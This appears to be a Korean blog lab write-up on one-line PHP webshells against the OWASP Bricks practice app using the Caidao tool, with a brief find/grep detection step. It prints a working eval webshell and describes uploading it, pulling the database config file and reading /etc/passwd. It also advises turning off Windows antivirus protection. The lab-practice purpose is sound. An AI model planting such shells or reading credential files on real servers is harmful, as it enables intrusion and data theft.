One Line Webshell의 정의
피해자의 웹서버에 한 줄짜리 코드를 삽입한 후 공격자가 실행하고자 하는 코드를 전송하여 결과값을 얻는 웹쉘을 말한다.
웹쉘 파일을 업로드하거나 특정 페이지에 실행 가능한 코드 한 줄을 삽입하는 방식으로 진행하면 된다.
One Line Webshell 공격 순서도

사진 설명을 입력하세요.
Caidao는 한줄 웹쉘 도구로 쓰이는 중국툴이다.
바이러스로 잡히는 경우가 있으니 Windows 보안 - 바이러스 및 위협 방지 설정에서 켜진 보호 기능을 끄길 권장한다.
그렇지 않을 경우, 실습 과정에서 툴이 바이러스로 잡혀 중간에 삭제되는 경우가 더러 있다.
일련의 공격 과정은 아래와 같다.
- 피해자 웹서버를 등록해준다.
- 피해자 웹서버 DB 정보 등록
- php 파일 형식으로 한줄짜리 코드 파일을 만들어준다. 예) <?php @eval($_POST['koromoon']);?>
- Owasp Bricks에 webshell.php 파일 업로드
- DB 관련 정보 파일 다운로드 <localsettings.php>
- 다운로드 시 패킷 덤프
- Bricks 유저 정보 확인
- 정보 확인 시 패킷 덤프
- cat /etc/passwd 명령어 입력
- 명령어 입력 시 패킷 덤프
패킷 덤프를 하는 이유는 네트워크 트래픽을 캡처하고 저장함으로써 공격을 분석하고 방어하는 데에 도움이 되기 때문이다. 공격 유형 분석, 공격 모니터링, 취약점 찾기, 방어 전략 수립에 용이하다.
방어 과정
- 취약한 웹서버 ssh로 접속 후 find 명령어를 이용하여 One Line Webshell 찾아낸다.
<실습 성공 화면>
사진 설명을 입력하세요.
피해자 웹 서버 등록 시에 쉘 권한 탈취에 성공한 모습이다.
사진 설명을 입력하세요.
<Localsettings.php 다운로드>
사진 설명을 입력하세요.
<Localsettings.php 다운로드 시 패킷 덤프>
사진 설명을 입력하세요.
<Bricks 유저 정보 확인>
참고로 sql 구문을 위와 같이 작성하여야 유저 정보 확인이 가능하다.
사진 설명을 입력하세요.
<유저 정보 확인 시 패킷 덤프>
사진 설명을 입력하세요.
<cat /etc/passwd 명령어 결과값>
명령어 입력시 계정 정보와 권한이 보이게 된다.
사진 설명을 입력하세요.
<cat /etc/passwd 명령어 결과값 패킷 덤프>
사진 설명을 입력하세요.
<putty를 이용하여 피해자의 웹 서버 ssh로 접속 후, find 명령어를 이용해 One Line Webshell을 찾기>
최상위 디렉토리에서 webshell.php가 들어간 파일명을 찾고, 줄번호와 eval 함수를 출력하여
2>dev/null로 필요없는 값을 제외하고 원하는 값만 출력하게 된다.
출력하게 되면 삽입했던 한 줄짜리 코드가 보여진다.
리눅스 '/'와 '.'의 차이
'/' : 최상위 디렉토리 밑에서 찾음.
'.': 현재 디렉토리 밑에서 찾음.
grep -n: 줄 번호 출력
+ 추가로 One Line webshell 아닌 웹쉘을 업로드한 화면이다.
사진 설명을 입력하세요.
마찬가지로 cat /etc/passwd 명령어를 입력하여 출력한 화면.
참고 사이트 :
https://koromoon.blogspot.com/2020/02/caidao-20160620-one-line-webshell.html
White-Hat Hacker
koromoon.blogspot.com
위의 링크를 활용해 Caidao 툴 활용법을 익힐 수 있다.
'RED' 카테고리의 다른 글
[DVWA] Brute Force (0) | 2025.03.11 |
---|---|
CVE-2024-40725, CVE-2024-40898 PoC 파일 패킷 덤프 (0) | 2025.03.11 |